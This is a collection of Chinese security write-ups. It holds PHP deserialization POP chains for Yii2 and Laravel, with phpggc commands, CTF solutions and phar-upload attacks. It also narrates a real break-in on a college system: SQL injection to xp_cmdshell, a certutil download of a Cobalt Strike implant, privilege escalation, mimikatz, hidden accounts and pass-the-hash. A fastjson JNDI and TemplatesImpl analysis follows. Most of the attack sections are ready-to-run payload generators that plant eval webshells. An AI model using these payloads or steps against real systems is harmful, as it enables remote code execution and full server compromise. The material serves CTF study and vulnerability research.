class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct($path,$keys) {
$this->path = $path;
$this->keys = $keys;
}
}
}
namespace Codeception\Util{
class XmlBuilder{
protected $__dom__;
public function __construct($__dom__) {
$this->__dom__ = $__dom__;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('saveXML'=>array($c,'run')));
$a = new Codeception\Util\XmlBuilder($b);
$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链,-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval,所以这里可以直接写shell,-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压,看到html\controllers\SiteController.php
class SiteController extends Controller
{
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/mod 绕 disable,运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看到附件的SiteController.php就改了这个地方
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": {
"php": ">=5.6.0",
"yiisoft/yii2": "~2.0.14",
"yiisoft/yii2-bootstrap": "~2.0.0",
"yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=0
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
通过几道CTF题学习Laravel框架
Laravel5.8.x反序列化POP链
安装:其中--prefer-dist表示优先下载zip压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public目录起一个php服务就可以进行测试了
cd /public
php -S 0.0.0.0:port
/foo?c=
链一
链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口
满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload
rce
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了
$definition变量是MockDefinition类,跟进一下
class MockDefinition
{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下
laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}
payload如下
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '<?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的
这里可以直接构造payload
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
链二
入口同样是
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控
跟踪进callExtension方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
$callback和$parameters可控,于是就可以构造payload了
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
这条链在Laravel8里面也是可以用的
利用跳板
和上面一样可以加LazyOption这个跳板
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
Laravel8反序列化POP链
在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类
laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events和$this->event可控
同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法
要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了
看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}
这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}
因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目
lumenserial
lumenserial\routes\web.php先看到路由文件
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
再看到
lumenserial\app\Http\Controllers\EditorController.php
class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);
发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量
class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
我们看到main发现他是通过call_user_func来调用带do开头的方法
class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
可以通过如下控制变量
http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif
然后在上面的5.8链的基础加上如下
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
上传phar文件再用phar协议打即可
[HMBCTF 2021]EzLight
给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);
在catchImage函数里面以post传给file参数再给到fetchImageFile的$url
protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents函数
至此结束,这里可以phar反序列化了
用上面的链一即可
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
@unlink("test.phar");
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
rename('test.phar','test.jpg');
}
上传之后,在vps上放
phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
再到/admin/neditor/serve/catchImage用file传参打就可以了
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)
某学院系统sql注入到服务器沦陷(bypss)
前言
前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量。只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一步步深入最后服务器提权,拿下整台服务器桌面权限。
本文涉及相关实操:https://www.hetianlab.co/expc.do?ec=ECIDee9320adea6e062017112114390500001 本实验介绍了SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。
1.信息搜集
日常广撒网挖通杀,常规流程,上fofa搜索关键字,xx大学xx系统,xx大学xx平台,一般就是这几个关键词,或者是直接搜body=”xx公司”,xx公司一定要是经常给学校做开发的,往往都是好几所学校用同一家公司的产品。然后就找到了这样一个系统
查了下归属,归属是某某学院,教育资产,通过各种语法,信息搜集,找到大概十多所学校都在用这个系统,因为语法太多了,这里随便搜了搜。
2.四处碰壁
正常的黑盒测试流程,看一下啥语言写的,ASP+IIS,很常规的配置,edu一般除了jsp就是asp了,很少见到php站,iis的站,若后续有文件上传的点,可以测测iis解析漏洞,老版本的iis洞还是挺多的。
既然是asp的站,那就上御剑,先来一顿目录爆破,asp、aspx勾选上,80w的大字典开跑,
一杯茶的功夫,目录爆破完毕,果不其然,啥也没跑出来。
一般这种情况的话,可以换一换要跑目录,因为它整个系统可能架设在一个特定命名的目录下,这里因为时间关系,就没跑了。
既然目录爆破不行,这系统打开就是登录点,那就爆破登陆点试一试,各种用户名都爆破了一遍
还是失败了,一个弱口令都没爆破出来,学号,工号爆破都试过了,没有一个成功的,目前为止,目录爆破,密码爆破都走不通。
Sql注入,post注入,常规操作,果然。。。。又是一片红,必然做了过滤,简单的fuzz了下sql语句饶了绕,还是失败。
各种操作都来了一波,啥也没挖到,在挖edu的这段时间里,经常遇到这种情况,都习惯了。
既然注入也没有,还有过滤,那就测测逻辑漏洞,右下角找回密码,我可太喜欢找回密码了,找回密码处就是逻辑漏洞的高发地点,一打一个准,
点进去是这样一个页面,挺简陋,越是简陋,就越好打,果断输入答案,抓包。
没啥好看的,要是返回包里是json格式的话,那还有得玩。反正我遇上的逻辑漏洞,都是前端验证传回来的json参数,改json实现绕过。
3.柳暗花明(发现sql注入)
Sql注入,爆破,弱口令,逻辑漏洞都试过了,都失败了,正准备放弃的时候,我发现找回密码的时候,他这个系统有个特点,只要你一输入要找回的账户然后再换行,本来它设置问题那一栏是空的,在你输入完账号再换行时,它问题那一栏自动就出现了验证问题。
所以我推断,在用户输入完账号之后换行就触发了一个动作,这个动作会自动将用户输入的账号带入到后台,从后端获取这个账号的问题,然后再显示在前端,必然有数据交互的一个过程,既然有交互,那么这个点也可能存在注入的可能。
想到这里,打开burp,输入完账号之后不换行,切换至burp,抓包,然后再换行,触发动作,果然抓到了一个post包,请求内容正是账号
输入一个单引号,发现报错了,存在注入无疑了,这系统普通的登录点卡的死死的,还是被找到注入了,只不过这个注入的位置太奇葩了,一般人遇上waf就放弃了。
Sqlmap一把梭,发现是mssql,还是dba权限,不用想了,mssql+dba权限=xp_cmdshell,都不用进后台了。--os-shell
4.bypass上线cs并提权
过程就不放图了,简单描述一下,用的是certutil.exe -urlcache -split -f下载cs马,cs马在我的服务器上,刚开始下载文件的时候,报错,whoami一看,数据库权限,只读权限,没有写文件的权限,这可麻烦了
最后解决办法是,把cs马下载到mssqlserver用户的桌面目录下,其他路径没有执行下载的权限,在自己用户的桌面目录从有写文件的权限了吧?执行cs马,cs上线!
虽然拿到了shell,不过这个shell的权限实在太低了,dumphash报错,操作注册表就各种报错,反正啥操作的报错,因为权限太低
如今当务之急就是提权,先执行一下systeminfo、tasklist看看啥情况
Server 2012的机器,补丁实在打的有点多,吓人。Tasklist里也没发现有杀毒软件,估计是云waf
2012的机器内核漏洞算是最多的了,来来回回试了几个MS16-032/016,全打上补丁了,最后一个MS16-075,一把打穿,成功拿下system权限,2012的机器还是好提。
Bypass远程桌面组获取桌面控制权
执行一下netstat -ano发现开了3389端口,net user发现一堆的用户,这里就不放图了,不然篇幅实在太长了,简单的信息搜集之后,开始办正事,目标是桌面控制,上神器Mimikatz,抓一抓明文密码。这里稍微提一下,2021的机器是可以通过改注册表直接获取明文密码的,一抓发现管理员上次是5.3登录的,没抓到密码,只有hash
抓不到明文密码,那就新建用户,net user admin 123456 /add 新建用户,新建了一个admin 密码123456的用户。远程桌面连一下试试。
出现报错:“连接被拒绝,因为没有授权此用户帐户进行远程登录!以为就要成功了,这一个报错就像是当头一棒,找了找原因,是因为我新建的用户没有加入到远程桌面组,所以无法登录,
用net user把admin加入到远程桌面组之后,还是报错,我又修改注册表把防火墙关了,RDP规矩也放行了,无果..我猜可能是修改完配置之后要重启才会生效,我要是重启的话,这台服务器上的这套系统必然会瘫痪,重启是肯定不可取的。
在思想斗争了半天之后,我想到guest用户应该是默认就在远程桌面组的,我只要激活guest用户,那我就可以不重启就连3389了。
激活guest用户成功,密码123456,远程连接一下
一看到这个正在配置远程会话就知道稳了,3389成功上了桌面,guest权限,加了个隐藏账户,并手动加入到远程桌面组
5.RDP劫持失败
我们的目标是administrator的桌面控制权,但是密码抓不到,又不能重置administrator的密码,怎么拿下它的桌面?
这里我用了RDP劫持,上传一个psexec工具,然后获取一个system权限的cmd,因为只有system权限的命令行才能进行接管会话
首先query user查看会话ID(这里的图是我写文章的时候截的,所以登录时间是6-1)
然后再在system权限的命令行中执行tscon 2,发现失败,因为上次登录的时间已经超过三天了,凭证过期,无法劫持会话
6.PTH攻击实现利用hash登录
最后通过pth攻击 hash传递攻击拿下了administrator的桌面权限,具体如下
mimikatz命令:
执行后弹出远程登录界面,选择连接,成功实现无密码登录administrator
桌面长这样,mssql数据库管理页面还没退出
结尾
梳理一下过程:1.从外网信息搜集—2.到发现sql注入—3.到绕过权限上马—4.再到低权限提权—5.最后通过pth实现无密码登录administrator桌面,整个过程没有什么技术含量,都是很基本的操作,但是能学到很多,求各位大师傅轻喷,我觉得从发现问题到解决问题是一个很享受的过程,还有,最后拿到了程序的源码,审计后又发现了一处注入和未授权进后台,因为篇幅问题就不说了,漏洞已经打包提交至平台,最后,网安学习这条路任重道远,希望自己能走下去,少一点花里胡哨,踏踏实实学东西才是最重要的,不能觉得自己学了点皮毛就四处炫耀,保持适当的谦卑
java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
1.2.22<=version<=1.2.24
1.2.25<=version<=1.2.47
简述与使用
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
项目地址:https://github.com/alibaba/fastjson
环境直接maven:
<dependencies>
....
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:
package org.example;
public class JsonTest {
private int _id;
private String _name;
private String _passwd;
public JsonTest(int _id, String _name, String _passwd) {
this._id = _id;
this._name = _name;
this._passwd = _passwd;
}
public JsonTest() {
}
public int get_id() {
System.out.println("get "+_id);
return _id;
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}
Main:
public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}
运行后得到了如下结果:
[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。
在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class
而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。
给序列化过程的函数指定第二个参数:
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
此时能够得到一个指定了type的json串:
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
再对其反序列化时就无需再指定对应的类了:
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。
反序列化过程
先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。
首先进入到JSON.class中:
接着进入parse函数中:
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
其构造器中有如下:
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
其会根据对应的{或[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:
[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]
其中对于字符串的还有如下对于双字节字符的处理:
\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了https://xz.aliyun.com/t/7107:
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符
这一个点其实可以用在某些filter的绕过上。
继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:
之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):
如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。
接着进行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
一路跟去会有一个denyList:
这一个list默认情况下只有一个Thread类:
this.denyList = new String[]{"java.lang.Thread"};
最后会去调用到set方法。
1.2.22-1.2.24
这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。
JdbcRowSetImpl
首先该链有两种利用方式:RMI+JNDI和RMI+LDAP
其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:
https://www.freebuf.com/column/207439.html前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:
直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:
同样进入else,关键在于这里的connect调用了lookup:
最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。
Templateslmpl
前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:
https://www.cnblogs.com/afanti/p/10193158.htmlhttps://xz.aliyun.com/t/8979#toc-6payload我参考的是上面第二个链接,此处截取部分方便理解:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。
首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。
